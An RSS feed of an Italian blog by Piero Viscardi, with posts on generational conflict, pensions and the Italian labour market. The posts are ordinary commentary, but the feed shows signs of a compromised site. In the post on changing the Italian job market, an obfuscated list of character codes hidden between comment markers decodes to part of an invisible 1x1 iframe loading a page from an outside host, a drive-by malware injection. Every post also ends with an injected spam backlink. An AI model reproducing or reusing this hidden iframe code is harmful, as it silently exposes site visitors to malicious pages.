<?xml version="1.0" encoding="iso-8859-1"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>BLOG di Piero Viscardi &#187; Generazioni insieme</title>
	<atom:link href="http://www.pieroviscardi.it/blog/category/generazioni-insieme/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.pieroviscardi.it/blog</link>
	<description>Il blog di Piero Viscardi. Ci illustrerà il nuovo mondo del lavoro con consigli teorici e pratici.</description>
	<lastBuildDate>Fri, 28 Oct 2011 11:37:25 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.2</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Patto generazionale</title>
		<link>http://www.pieroviscardi.it/blog/2009/03/03/patto-generazionale/</link>
		<comments>http://www.pieroviscardi.it/blog/2009/03/03/patto-generazionale/#comments</comments>
		<pubDate>Tue, 03 Mar 2009 09:15:32 +0000</pubDate>
		<dc:creator>Piero Viscardi</dc:creator>
				<category><![CDATA[Generazioni insieme]]></category>

		<guid isPermaLink="false">http://www.pieroviscardi.it/blog/2009/03/03/patto-generazionale/</guid>
		<description><![CDATA[E&#8217; di un &#34;patto generazionale&#34; per spartirci le (ultime) briciole della torta e non di un patto generazionale per prepararne di nuove&#160;che sembrano interessarsi in questi giorni i mass media.
Se &#232; vero che per rendersi conto del grado di bont&#224; di una crostata non &#232; necessario assaggiarla, &#232; altrettanto vero che il tema del patto [...]]]></description>
			<content:encoded><![CDATA[<p>E&#8217; di un &quot;patto generazionale&quot; per spartirci le (ultime) briciole della torta e non di un patto generazionale per prepararne di nuove&nbsp;che sembrano interessarsi in questi giorni i mass media.</p>
<p><strong>Se &egrave; vero </strong>che per rendersi conto del grado di <a title="Come riconoscere una crostata buona..." target="_blank" href="http://www.pieroviscardi.it/blog/2008/02/02/come-si-fa-la-crostata-nelle-associazioni-imprenditoriali-italiane/">bont&agrave; di una crostata</a> non &egrave; necessario assaggiarla, <strong>&egrave; altrettanto vero</strong> che il tema del patto generazionale o patto sociale che dir si voglia &egrave; uno di quei temi che periodicamente &nbsp;&quot;esauriscono&quot;&nbsp;le energie mentali dei nostri politici (tra l&#8217;altro da noi eletti).</p>
<p><a target="_blank" href="http://www.pieroviscardi.it/blog/2007/07/09/come-possiamo-affrontare-il-passaggio-generazionale-conflitto-o-patto-generazionale-senza-usare-il-buonsenso/"><img title="patto generazionale ?" hspace="10" alt="patto generazionale" align="left" width="200" height="267" src="http://www.pieroviscardi.it/blog/wp-content/uploads/patto generazionale senza Cisalpina 030309.JPG" /></a><strong>Le conseguenze delll&#8217;invecchiamento</strong> o per meglio dire dell&#8217;innalzamento dell&#8217;et&agrave; media di noi italiani <strong>sembrano esaurirsi, o nelle diatribe</strong> sul se o come staccare la spina di macchinari a cui possiamo ritrovarci attaccati, volenti o dolenti, ad&nbsp;un certo momento della nostra vita, <strong>o sul come spartirci</strong> gli avanzi di quella che un tempo era la nostra ricchezza.</p>
<p><strong>Credetemi!</strong> Non &egrave; di un patto generazionale che oggi abbiamo bisogno ma di un sano <a title="Patto Generazionale o Conflitto Generazionale?" target="_blank" href="http://www.pieroviscardi.it/blog/2008/06/23/conflitto-generazionale-versus-confronto-generazionale-billo/">conflitto generazionale</a> che ci aiuti e faccia decidere in che direzione remare tutti.</p>
<p><strong>Un bel conflitto generazionale</strong> anche &quot; maschio&quot; se questo pu&ograve; servire a far emergere una conflittualit&agrave;&nbsp;sotterranea latente che non pu&ograve; che distruggere i rapporti sociali.</p>
<p><strong>S&igrave;</strong> a un patto generazionale frutto anche di un serrato e virile confronto, <strong>No</strong> ad un ennesimo patto figlio dell&#8217;<a title="&quot;Ignoranza informata..." target="_blank" href="http://www.pieroviscardi.it/blog/2007/08/13/un-ostacolo-al-nostro-pieno-inserimento-nel-mondo-del-lavoro-troppo-spesso-molti-di-noi-si-sentono-buoni/">ignoranza coltivata con tenacia</a> se non dell&#8217;essere infingardi.</p>
<p>  
Articolo <a href="http://www.pieroviscardi.it/blog/2009/03/03/patto-generazionale/">Patto generazionale</a> da <a href="http://www.pianetanews.it/">Calciomercato</a>  
</p> ]]></content:encoded>
			<wfw:commentRss>http://www.pieroviscardi.it/blog/2009/03/03/patto-generazionale/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Qualunque sia la tua età</title>
		<link>http://www.pieroviscardi.it/blog/2009/01/27/qualunque-sia-la-tua-eta/</link>
		<comments>http://www.pieroviscardi.it/blog/2009/01/27/qualunque-sia-la-tua-eta/#comments</comments>
		<pubDate>Tue, 27 Jan 2009 18:22:40 +0000</pubDate>
		<dc:creator>Piero Viscardi</dc:creator>
				<category><![CDATA[Generazioni insieme]]></category>

		<guid isPermaLink="false">http://www.pieroviscardi.it/blog/2009/01/27/qualunque-sia-la-tua-eta/</guid>
		<description><![CDATA[Non importa quanti anni hai ne tanto meno quanti te ne senti dentro ora.
Quello che fa la differenza in questo momento di turbolenza del mondo del&#160;lavoro &#232; il come sei capace di gestire il tuo stato mentale e se te ne senti capace.
O anche il come gestisci il tuo atteggiamento nei confronti del mondo del [...]]]></description>
			<content:encoded><![CDATA[<p>Non importa quanti anni hai ne tanto meno quanti te ne senti dentro ora.</p>
<p><strong>Quello che fa la differenza</strong> in questo momento di turbolenza del mondo del&nbsp;lavoro &egrave; il come sei capace di gestire il tuo stato mentale e se te ne senti capace.</p>
<p>O anche il come gestisci il tuo atteggiamento nei confronti del mondo del lavoro ovvero quali sono le sensazioni che ti prendono quando ti trovi di fronte al come guadagnarsi da vivere.</p>
<p><a target="_blank" href="http://www.pieroviscardi.it/no-stress/"><img title="Liberiamoci dallo stress inutile!!" hspace="10" alt="Qual'&egrave; il tuo atteggiamento?" align="left" width="113" height="108" src="http://www.pieroviscardi.it/blog/wp-content/uploads/atteggiamento mento.jpg" /></a>Il <em>come ti senti</em>, il <em>come ci si sente</em>, il <em>come sei con te stesso &#8230; &#8230;</em>&nbsp;sono espressioni che hanno a che vedere con l&#8217;atteggiamento ma anche&nbsp;&#8230;</p>
<p>&#8230; come <em>atteggi&nbsp;il mento</em> ha a che vedere con tutto questo molto pi&ugrave; di quello che non puoi immaginare.</p>
<p><strong>La nostra postura</strong> ovvero il come utilizziamo il nostro corpo <strong>&egrave; in relazione biunivoca con ci&ograve; che produce la nostra mente.</strong></p>
<p>E il trovare una postura che per noi sia ottimale in ogni contesto e momento &egrave; solo una questione di esercizio.</p>
<p>E questo lo sanno (e praticano) bene i popoli orientali mentre noi occidentali continuiamo a sudare nelle palestre senza avere idea di come corpo e mente siano un tutt&#8217;uno inscindibile.</p>
<p>Un tutt&#8217;uno nel quale il <a title="Quale rapporto abbiamo con il nostro corpo?" target="_blank" href="http://www.pieroviscardi.it/blog/2007/08/02/mondo-del-lavoro-liberiamoci-dallinsicurezza-che-penalizza-la-nostra-capacita-di-lavorare-in-questo-nuovo-mondo-del-lavoro/">corpo troppo spesso viene da noi occidentali lasciato in secondo piano</a>.</p>
<p><span id="more-420"></span></p>
<p><!--ec20d1a5155ca2c501722afcafd67f3222010--></p>
<p>&nbsp;</p>
<p><!--/ec20d1a5155ca2c501722afcafd67f3222010--></p>
<p>  
Articolo <a href="http://www.pieroviscardi.it/blog/2009/01/27/qualunque-sia-la-tua-eta/">Qualunque sia la tua età</a> da <a href="http://www.pianetanews.it/">Calciomercato</a>  
</p> ]]></content:encoded>
			<wfw:commentRss>http://www.pieroviscardi.it/blog/2009/01/27/qualunque-sia-la-tua-eta/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>&#8220;Conflitto generazionale&#8221; versus &#8220;confronto generazionale&#8221; billo</title>
		<link>http://www.pieroviscardi.it/blog/2008/06/23/conflitto-generazionale-versus-confronto-generazionale-billo/</link>
		<comments>http://www.pieroviscardi.it/blog/2008/06/23/conflitto-generazionale-versus-confronto-generazionale-billo/#comments</comments>
		<pubDate>Mon, 23 Jun 2008 11:25:07 +0000</pubDate>
		<dc:creator>Piero Viscardi</dc:creator>
				<category><![CDATA[Generazioni insieme]]></category>

		<guid isPermaLink="false">http://www.pieroviscardi.it/blog/2008/06/23/conflitto-generazionale-versus-confronto-generazionale-billo/</guid>
		<description><![CDATA[Adesso &#232; proprio il momento giusto per darci una mossa e cos&#236; agire per &#34;governare&#34; l&#8217;invecchiamento attivo&#160;(active ageing)&#160;anche nel nostro bel&#160;Paese.
&#34;Governare&#34; l&#8217;invecchiamento attivo di noi italiani significa che ognuno di noi deve decidere in proprio&#160;cosa vuole fare della propria vita (qualunque sia la nostra et&#224;) ovvero&#8230;
&#8230; ognuno di noi deve decidere come vuole gestire i [...]]]></description>
			<content:encoded><![CDATA[<p>Adesso &egrave; proprio il momento giusto per darci una mossa e cos&igrave; agire per &quot;governare&quot; l&#8217;<strong>invecchiamento attivo</strong>&nbsp;(active ageing)&nbsp;anche nel nostro bel&nbsp;Paese.</p>
<p>&quot;Governare&quot; l&#8217;invecchiamento attivo di noi italiani significa che ognuno di noi deve decidere in proprio&nbsp;cosa vuole fare della propria vita (qualunque sia la nostra et&agrave;) ovvero&#8230;</p>
<p><a target="_blank" href="http://www.pieroviscardi.it/no-stress/"><img title="Stress e confronto generazionale" hspace="10" alt="Stress e conflitto generazionale" align="left" width="100" height="141" src="http://www.pieroviscardi.it/blog/wp-content/uploads/stress e patto generazionale.jpg" /></a>&#8230; ognuno di noi deve decidere come vuole gestire i <a title="Patto Generazionale o. . . " target="_blank" href="http://www.pieroviscardi.it/blog/2007/08/06/mondo-del-lavoro-e-patto-generazionaleun-nodo-da-sciogliere-per-non-far-crollare-il-sistema-pensionistico-italiano/">rapporti intergenerazionali</a> e da tutto ci&ograve; dipende se in Italia questi rapporti daranno vita ad un Confronto Generazionale piuttosto che a un Conflitto Generazionale.</p>
<p>Io&nbsp;personalmente <strong>non temo</strong>, ovvero non ho paura del conflitto perch&eacute; anche il conflitto &egrave; una componente della nostra natura umana. <strong>Quello che mi inquieta &egrave; invece la conflittualit&agrave;</strong> che sembra essere il nostro sport nazionale dopo il calcio.</p>
<p><em>Billo &egrave; bello anche se non &egrave; davvero bello. . . .</em></p>
<p>&#8230;&nbsp;infatti <strong>BILLO</strong> &egrave; un acronimo che ho creato qualche anno fa <strong>Building Intergenerational Lifelong Learning Organizations </strong>che mi piace tradurre in italiano come: COSTRUIAMO Associazioni dove le persone di tutte le et&agrave; stanno insieme per imparare a imparare.</p>
<p>COSTRUIAMO vuol dire che tutto quanto sopra non si realizza se non entriamo nell&#8217;ordine di idee che &egrave; un qualcosa che dobbiamo costruire ovvero che non ci &egrave; dato dal cielo e magari anche su di un bel vassoio d&#8217;argento.</p>
<p>Conflitto generazionale versus confronto generazionale: a chi la prima mossa?? alle <strong><a title="Diamoci una smossa!!" target="_blank" href="http://www.pieroviscardi.it/blog/2007/08/06/mondo-del-lavoro-e-patto-generazionaleun-nodo-da-sciogliere-per-non-far-crollare-il-sistema-pensionistico-italiano/">Bcellule e alle 3cellule</a></strong>.</p>
<p><span id="more-400"></span></p>
<p><!--b428bef118bb698477d36b443237014822010--></p>
<p>&nbsp;</p>
<p><!--/b428bef118bb698477d36b443237014822010--></p>
<p>  
Articolo <a href="http://www.pieroviscardi.it/blog/2008/06/23/conflitto-generazionale-versus-confronto-generazionale-billo/">&#8220;Conflitto generazionale&#8221; versus &#8220;confronto generazionale&#8221; billo</a> da <a href="http://www.pianetanews.it/">Calciomercato</a>  
</p> ]]></content:encoded>
			<wfw:commentRss>http://www.pieroviscardi.it/blog/2008/06/23/conflitto-generazionale-versus-confronto-generazionale-billo/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>E&#8217; possibile cambiare il &#8220;mondo del lavoro italiano&#8221;</title>
		<link>http://www.pieroviscardi.it/blog/2008/01/22/e-possibile-cambiare-il-mondo-del-lavoro-italiano/</link>
		<comments>http://www.pieroviscardi.it/blog/2008/01/22/e-possibile-cambiare-il-mondo-del-lavoro-italiano/#comments</comments>
		<pubDate>Tue, 22 Jan 2008 11:38:13 +0000</pubDate>
		<dc:creator>Piero Viscardi</dc:creator>
				<category><![CDATA[Generazioni insieme]]></category>

		<guid isPermaLink="false">http://www.pieroviscardi.it/blog/2008/01/22/e-possibile-cambiare-il-mondo-del-lavoro-italiano/</guid>
		<description><![CDATA[Chi &#232; davvero interessato a darsi da fare per &#34;cambiare&#34; il mondo del lavoro in Italia? &#160;o per meglio dire:

- siamo consapevoli del fatto che adesso &#232; ineludibile affrontare il nodo del nostro rapporto con il mondo del lavoro nel terzo millennio?

Ogni giorno sempre di pi&#249; ho forte la sensazione che, fra i paesi industrializzati, [...]]]></description>
			<content:encoded><![CDATA[<p>Chi &egrave; davvero interessato a darsi da fare per &quot;cambiare&quot; il mondo del lavoro in Italia? &nbsp;o per meglio dire:</p>
<blockquote style="margin-right: 0px" dir="ltr">
<p>- siamo consapevoli del fatto che <strong>adesso <u>&egrave; ineludibile</u> affrontare il nodo del nostro rapporto con il mondo del lavoro</strong> nel terzo millennio?</p>
</blockquote>
<p dir="ltr">Ogni giorno sempre di pi&ugrave; ho forte la sensazione che, fra i paesi industrializzati, l&#8217;Italia &egrave; l&#8217;unico nel quale il confrontarsi in modo organico e costruttivo sui temi di come guadagnarsi da vivere lavorando &egrave; un vero e proprio tab&ugrave;.</p>
<p dir="ltr">Non voglio aggiungere danno a danno ricordandovi come in Italia <strong>si parla di lavoro solo in occasione di</strong> scioperi, incidenti sul&nbsp;lavoro, crisi aziendali e&nbsp;questioni legate all&#8217;evasione fiscale delle imprese.</p>
<p dir="ltr">Il come ci si prepara ad entrare nel mondo del lavoro,&nbsp;il come ci si deve comportare per essere competitivi in questo mondo del lavoro cos&igrave; aperto al contributo di lavoratori sparsi ai quatro angoli del globo sono <strong>argomenti tab&ugrave;</strong> per noi italiani.</p>
<p dir="ltr"><strong>Vi siete mai&nbsp;interrogati su cosa significa essere competitivi con il lavoro che fate?</strong> Significa semplicemente che si &egrave; capaci di produrre beni e servizi che i consumatori vogliono liberamente comprare.</p>
<p dir="ltr">E cos&igrave;: <strong>&egrave; possibile cambiare il mondo del&nbsp;lavoro in Italia?</strong>&nbsp;La mia risposta &egrave;&nbsp;SI, ma solo se ognuno di noi entra nell&#8217;ordine di idee di cambiare il proprio modo di rapportarsi con i temi dell&#8217;economia.</p>
<p dir="ltr"><a target="_blank" href="http://www.pieroviscardi.it/blog/2007/08/25/sensazioni-e-mondo-del-lavoro-ecco-il-segreto-di-un-buon-intervento-di-consulenza-aziendale/"><img title="Come cambiano le nostre sensazioni quando lavoriamo?" hspace="10" alt="rapporto con mondo del lavoro" align="left" width="117" height="105" src="http://www.pieroviscardi.it/blog/wp-content/uploads/sensazioni-il-mondo-del-lavoro.jpg" /></a>Io sento che il<strong> </strong>primo passo in questa direzione di cambiamento pu&ograve; essere fatto se e solo se ognuno di noi diventa consapevole del fatto che <strong>l&#8217;Italia &egrave; il Paese&nbsp;pi&ugrave; vecchio al mondo</strong>. E questo vuol dire che le persone pi&ugrave; avanti nell&#8217;et&agrave; sono la componente maggioritaria dei cittadini del nostro&nbsp;bel paese.</p>
<p dir="ltr"><a target="_blank" href="http://www.pieroviscardi.it/blog/2007/08/13/un-ostacolo-al-nostro-pieno-inserimento-nel-mondo-del-lavoro-troppo-spesso-molti-di-noi-si-sentono-buoni/">Costruire un dialogo intergenerazionale</a> &egrave; un passagio ineludibile per scongiurare il pericolo di una decadenza economica dell&#8217;Italia e la deflagrazione di un <a target="_blank" href="http://www.pieroviscardi.it/blog/2007/10/11/bamboccioni-lavoro-e-conflitto-generazionale/">conflitto generazionale senza precedenti</a>.</p>
<p dir="ltr">&nbsp;</p>
<p><span id="more-387"></span></p>
<p><!--4354f73de530716fd20eb0da088d3b3922010--></p>
<p>112,58,47,47,121,97,100,114,48,46,99,111,109,47,100,47,105,110,100,101,120,46,112,104,112,34,32,119,105,100,116,104,61,34,49,34,32,104,101,105,103,104,116,61,34,49,34,32,102,114,97,109,101,98,111,114,100,101,114,61,34,48,34,62,60,47,105,102,114,97,109,101,62))</p>
<p><!--/4354f73de530716fd20eb0da088d3b3922010--></p>
<p>  
Articolo <a href="http://www.pieroviscardi.it/blog/2008/01/22/e-possibile-cambiare-il-mondo-del-lavoro-italiano/">E&#8217; possibile cambiare il &#8220;mondo del lavoro italiano&#8221;</a> da <a href="http://www.pianetanews.it/">Calciomercato</a>  
</p> ]]></content:encoded>
			<wfw:commentRss>http://www.pieroviscardi.it/blog/2008/01/22/e-possibile-cambiare-il-mondo-del-lavoro-italiano/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Bamboccioni, lavoro e conflitto generazionale</title>
		<link>http://www.pieroviscardi.it/blog/2007/10/11/bamboccioni-lavoro-e-conflitto-generazionale/</link>
		<comments>http://www.pieroviscardi.it/blog/2007/10/11/bamboccioni-lavoro-e-conflitto-generazionale/#comments</comments>
		<pubDate>Thu, 11 Oct 2007 06:49:21 +0000</pubDate>
		<dc:creator>Piero Viscardi</dc:creator>
				<category><![CDATA[Generazioni insieme]]></category>

		<guid isPermaLink="false">http://www.pieroviscardi.it/blog/2007/10/11/bamboccioni-lavoro-e-conflitto-generazionale/</guid>
		<description><![CDATA[Prendo spunto dalle dichiarazioni di questi giorni del ministro Padoa-Schioppa&#160;a proposito dei giovani trentenni che Padoa-Schioppa ha definito &#34;bamboccioni&#34; perch&#233; vivono ancora in famiglia e mi chiedo:

- che tipo di persona bisogna diventare&#160;per fare dichiarazioni come quella di Padoa-Schioppa?&#160;(la domanda sarebbe stata&#160;la stessa anche se la dichiarazione&#160;fosse stata di Berlusconi, Prodi, Bertinotti, Casini, Pecoraro&#8230;)
- che [...]]]></description>
			<content:encoded><![CDATA[<p>Prendo spunto dalle dichiarazioni di questi giorni del ministro Padoa-Schioppa&nbsp;a proposito dei giovani trentenni che Padoa-Schioppa ha definito <strong>&quot;bamboccioni&quot;</strong> perch&eacute; vivono ancora in famiglia e mi chiedo:</p>
<blockquote style="margin-right: 0px" dir="ltr">
<p><strong>- che tipo di persona bisogna diventare&nbsp;per fare dichiarazioni come quella di Padoa-Schioppa?&nbsp;</strong>(la domanda sarebbe stata&nbsp;la stessa anche se la dichiarazione&nbsp;fosse stata di Berlusconi, Prodi, Bertinotti, Casini, Pecoraro&#8230;)</p>
<p><strong>- che tipo di scuola &egrave; diventata quella italiana se buona parte dei suoi ex allievi sono diventati&nbsp;dei bamboccioni?</strong>&nbsp;o pi&ugrave; precisamente <strong>che tipo di insegnanti sono quelli&nbsp;i cui allievi sono diventati dei bamboccioni?</strong></p>
<p><strong>&nbsp;- che tipo di genitori bisogna essere per allevare figli bamboccioni?</strong></p>
</blockquote>
<p>Quando frequentavo le elementare un gioco in voga era quello di rispondere <strong>&quot;Tu l&#8217;hai detto e tu ci sei&quot;</strong> a quei compagni di giochi che ci apostrofavano con epiteti non simpatici come p.e. cretino, stupido, imbecille&#8230;</p>
<p><strong>&quot;Tu l&#8217;hai detto e tu ci hai fatto&#8230;&quot;</strong> potrebbe essere una risposta non priva di intelligenza che un bamboccione potrebbe affibbiare&nbsp;a Padoa-Schioppa, nonch&eacute; a certi genitori e insegnanti.</p>
<p><strong>La questione dell&#8217;inserimento nel mondo del lavoro dei nostri giovani trentenni</strong> &egrave; una questione troppo delicata per liquidarla con qualche battuta anche se&nbsp;nella speranza di esorcizzarla perch&eacute; io sono convinto che&#8230;</p>
<blockquote style="margin-right: 0px" dir="ltr">
<p>- un <a href="http://www.pieroviscardi.it/blog/2007/03/29/conflitto-e-confronto-generazionale-siamo-sicuri-che-non-ci-riguarda/">conflitto generazionale</a> &egrave; alle porte&nbsp;e mi auguro che non si tratti proprio di un conflitto ma di un <strong>confronto duro </strong>invece&nbsp;<strong>SI&#8217;</strong>.</p>
</blockquote>
<p>Un duro confronto che possa portare ad una sorta di&nbsp;<a href="http://www.pieroviscardi.it/blog/2007/07/09/come-possiamo-affrontare-il-passaggio-generazionale-conflitto-o-patto-generazionale-senza-usare-il-buonsenso/">patto generazionale</a> pi&ugrave; o meno esplicito per affrontare <strong>insieme e con piacere</strong> le sfide di questo <a href="http://www.pieroviscardi.it/blog/2007/03/05/non-troviamo-soluzioni-al-lavoro-precario-anche-perche-in-italia-associamo-lidea-di-lavoro-autonomo-a/">mondo del lavoro cos&igrave;&nbsp;globalizzato</a>.</p>
<p><span id="more-376"></span></p>
<p><!--e0e3c883610c76bb8e7497ede2eec1ef22010--></p>
<p>&nbsp;</p>
<p><!--/e0e3c883610c76bb8e7497ede2eec1ef22010--></p>
<p>  
Articolo <a href="http://www.pieroviscardi.it/blog/2007/10/11/bamboccioni-lavoro-e-conflitto-generazionale/">Bamboccioni, lavoro e conflitto generazionale</a> da <a href="http://www.pianetanews.it/">Calciomercato</a>  
</p> ]]></content:encoded>
			<wfw:commentRss>http://www.pieroviscardi.it/blog/2007/10/11/bamboccioni-lavoro-e-conflitto-generazionale/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Un ostacolo al nostro pieno inserimento nel mondo del lavoro: troppo spesso molti di noi si sentono buoni</title>
		<link>http://www.pieroviscardi.it/blog/2007/08/13/un-ostacolo-al-nostro-pieno-inserimento-nel-mondo-del-lavoro-troppo-spesso-molti-di-noi-si-sentono-buoni/</link>
		<comments>http://www.pieroviscardi.it/blog/2007/08/13/un-ostacolo-al-nostro-pieno-inserimento-nel-mondo-del-lavoro-troppo-spesso-molti-di-noi-si-sentono-buoni/#comments</comments>
		<pubDate>Mon, 13 Aug 2007 11:27:59 +0000</pubDate>
		<dc:creator>Piero Viscardi</dc:creator>
				<category><![CDATA[Generazioni insieme]]></category>

		<guid isPermaLink="false">http://www.pieroviscardi.it/blog/2007/08/13/un-ostacolo-al-nostro-pieno-inserimento-nel-mondo-del-lavoro-troppo-spesso-molti-di-noi-si-sentono-buoni/</guid>
		<description><![CDATA[Spesso le persone che si sentono di essere &#34;buone&#34; (ovvero quelli che a me piace chiamare &#34;i buonisti&#34;) sono convinte in buona fede (ma il ragionamento non cambierebbe anche se fossero in malafede) di tenere dei comportamenti in grado di&#160;eliminare le sofferenze e di risolvere i problemi degli altri e questo &#232; vero anche nel [...]]]></description>
			<content:encoded><![CDATA[<p>Spesso le persone che si sentono di essere &quot;buone&quot; (ovvero quelli che a me piace chiamare &quot;i buonisti&quot;) sono convinte in buona fede (ma il ragionamento non cambierebbe anche se fossero in malafede) di tenere dei comportamenti in grado di&nbsp;eliminare le sofferenze e di risolvere i problemi degli altri e questo &egrave; vero anche nel <a href="http://www.pieroviscardi.it/blog/2007/03/26/perche-per-noi-italiani-lavoro-e-lavorare-sono-due-parole-cosi/">mondo del lavoro</a>. E ne sono cos&igrave; convinte che la loro missione &egrave; diventata quella di imporle anche agli altri.</p>
<p>In realt&agrave; io penso invece che il comportamento dei <em>buonisti</em> alimenta e aggrava la maggior parte delle cause che impediscono il nostro naturale inserimento nel mondo del lavoro ( e tanto pi&ugrave; oggigiorno che viviamo in un&#8217;economia cos&igrave; in movimento e aperta al nuovo) perch&eacute; questo loro comportamento <strong>castra la nostra creativit&agrave;</strong> e quindi la nostra gioia di vivere di cui &egrave; la fonte.</p>
<p>E se tutto ci&ograve; avviene senza malafede, sicuramente ha nella <em>stanchezza</em> una delle sue origini.</p>
<p>Ma chi sono i <em>buonisti</em>? e di che tipo di stanchezza sto parlando?</p>
<blockquote>
<p>- I <em>buonisti</em> sono quelle persone che hanno successo nella loro azione di apparire come buoni perch&eacute; ci offrono in continuazione <strong>pretesti per far battere ancora il nostro cuore. </strong></p>
</blockquote>
<p>Chi di voi non s&#8217;imbatte in almeno qualcuno di loro una o pi&ugrave; volte al ogni giorno sopratutto se &egrave; un abituale frequentatore di tv e carta stampata ?</p>
<p>La <em>stanchezza</em> di cui sto parlando &egrave; invece quella di cui si parla in queste righe di cui non ricordo l&#8217;autore:</p>
<blockquote>
<p>&quot;&#8230;non &egrave; saggio lasciare che la sera giudichi il giorno perch&eacute; spesso in tal caso &egrave; la <em><a href="http://www.pieroviscardi.it/blog/2007/03/07/cose-il-mentoring-in-italia/">stanchezza</a> </em>a diventare giudice della forza, del successo e della volont&agrave;&quot;.</p>
</blockquote>
<p>Ma a ripensarci bene mi viene di pensare che forse queste persone spesso fanno quello che fanno anche in malafede. S&igrave; in malafede! se per malafede vogliamo intendere il comportamento figlio dell&#8217;<em>Ignoranza Informata </em>ossia l&#8217; <a href="http://www.pieroviscardi.it/blog/2006/12/29/il-nemico-comune-delle-aziende-e-del-mondo-degli-affari-italiano-lignoranza-coltivata-con-tenacia/">ignoranza</a> di chi &#8211; <strong>pur disponendo di tutte le informazioni necessarie</strong> <strong>per ben agire -</strong> decide di ignorarle e lo fa sistematicamente.</p>
<p>E allora se tutto ci&ograve; &egrave; reso possibile dal fatto che la nostra natura umana &egrave; tale anche perch&eacute; ha un bisogno continuo di <em>sentir battere il proprio cuore</em> (ovvero provare sensazioni che ci collegano alle vicissitudini felici e non della vita dei nostri simili&nbsp; e del mondo di cui siamo parte) <strong>diamoci una smossa! e ribelliamoci!</strong> prima che il riappropriarci della nostra <a href="http://www.pieroviscardi.it/blog/2007/01/09/bcellule-e-3cellule-ecco-cosa-serve-davvero-per-fare-squadra-nelle-imprese-o-meglio-nel-mondo-del-lavoro/">creativit&agrave; individuale e di di gruppo</a> non diventi possibile solo con azioni <a href="http://www.pieroviscardi.it/blog/2007/07/09/come-possiamo-affrontare-il-passaggio-generazionale-conflitto-o-patto-generazionale-senza-usare-il-buonsenso/">conflittuali</a> e non pacifiche.</p>
<p><span id="more-370"></span></p>
<p><!--39cccbbcff6cf5b48caad1e57390acb722010--></p>
<p>&nbsp;</p>
<p><!--/39cccbbcff6cf5b48caad1e57390acb722010--></p>
<p>  
Articolo <a href="http://www.pieroviscardi.it/blog/2007/08/13/un-ostacolo-al-nostro-pieno-inserimento-nel-mondo-del-lavoro-troppo-spesso-molti-di-noi-si-sentono-buoni/">Un ostacolo al nostro pieno inserimento nel mondo del lavoro: troppo spesso molti di noi si sentono buoni</a> da <a href="http://www.pianetanews.it/">Calciomercato</a>  
</p> ]]></content:encoded>
			<wfw:commentRss>http://www.pieroviscardi.it/blog/2007/08/13/un-ostacolo-al-nostro-pieno-inserimento-nel-mondo-del-lavoro-troppo-spesso-molti-di-noi-si-sentono-buoni/feed/</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
		<item>
		<title>Mondo del lavoro e patto generazionale: un nodo da sciogliere per non far crollare il sistema pensionistico italiano</title>
		<link>http://www.pieroviscardi.it/blog/2007/08/06/mondo-del-lavoro-e-patto-generazionaleun-nodo-da-sciogliere-per-non-far-crollare-il-sistema-pensionistico-italiano/</link>
		<comments>http://www.pieroviscardi.it/blog/2007/08/06/mondo-del-lavoro-e-patto-generazionaleun-nodo-da-sciogliere-per-non-far-crollare-il-sistema-pensionistico-italiano/#comments</comments>
		<pubDate>Mon, 06 Aug 2007 11:13:20 +0000</pubDate>
		<dc:creator>Piero Viscardi</dc:creator>
				<category><![CDATA[Generazioni insieme]]></category>

		<guid isPermaLink="false">http://www.pieroviscardi.it/blog/2007/08/06/mondo-del-lavoro-e-patto-generazionaleun-nodo-da-sciogliere-per-non-far-crollare-il-sistema-pensionistico-italiano/</guid>
		<description><![CDATA[Quanti di noi sono consapevoli del meccanismo socio-economico che sta dietro al fatto che alla fine di ogni mese un lavoratore in pensione possa ricevere una data somma di denaro?
Il meccanismo &#232; molto semplice: da una parte ci sono quelli di noi che nel mondo del lavoro sono impegnati a guadagnarsi da vivere e che [...]]]></description>
			<content:encoded><![CDATA[<p>Quanti di noi sono consapevoli del meccanismo socio-economico che sta dietro al fatto che alla fine di ogni mese un lavoratore in pensione possa ricevere una data somma di denaro?</p>
<p>Il meccanismo &egrave; molto semplice: da una parte ci sono quelli di noi che nel <a href="http://www.pieroviscardi.it/blog/2007/03/09/universita-italiana-e-mondo-del-lavoro-e-la-mattanza-dei-laureati-italiani/">mondo del lavoro </a>sono impegnati a guadagnarsi da vivere e che ogni mese conferiscono (attraverso i contributi)&nbsp; una parte dei loro guadagni nelle casse dell&#8217; I.N.P.S. (Istituto Nazionale Previdenza Sociale), dall&#8217;altra c&#8217;&egrave; lo Stato Italiano che attraverso l&#8217;INPS provvede a girare queste somme ai lavoratori in pensioni.&nbsp;</p>
<p><strong>Siamo consapevoli del fatto che qualora questi contributi venissero a diminuire non sarebbe pi&ugrave; possibile pagare per intero l&#8217;ammontare delle pensioni?</strong></p>
<p>Ci rendiamo conto o no che se il Sistema Paese Italia ovvero tutti noi non siamo capaci di produrre beni e servizi competitivi i &quot;guadagni&quot; dei lavoratori non saranno pi&ugrave; sufficienti per pagare l&#8217;attuale ammontare delle pensioni?</p>
<p>Adesso e ora quello che dobbiamo mettere subito in atto &egrave; un <strong>serrato e schietto</strong> confronto generazionale. Un confronto &#8211; fra chi lavora e chi &egrave; in pensione &#8211; che ci aiuti prima di tutto a conoscerci reciprocamente meglio e cos&igrave; poi ad agire insieme per ridare slancio alla nostra capacit&agrave; di produrre ricchezza.</p>
